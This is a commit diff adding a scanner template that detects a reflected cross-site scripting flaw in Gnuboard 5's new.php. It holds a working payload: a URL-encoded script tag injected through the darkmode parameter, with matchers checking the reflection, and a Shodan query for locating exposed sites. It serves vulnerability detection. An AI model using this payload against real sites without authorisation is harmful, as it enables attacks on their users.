Create gnuboard5-xss.yaml

vulnerabilities/other/gnuboard5-xss.yaml

@@ -0,0 +1,30 @@
+id: gnuboard5-xss
+
+info:
+  name: Gnuboard5 - Cross Site Scripting
+  author: arafatansari
+  severity: medium
+  description: |
+    Gnuboard 5 is vulnerable to reflected XSS to a flaw in the clean_xss_tags() function called in new.php.
+  reference:
+    - https://huntr.dev/bounties/ad2a9b32-fe6c-43e9-9b05-2c77c58dde6a/
+  metadata:
+    shodan-query: http.html:"gnuboard5"
+    verified: "true"
+  tags: xss, gnuboard
+
+requests:
+  - raw:
+      - |
+        GET /bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '<script>alert(document.domain)</script>'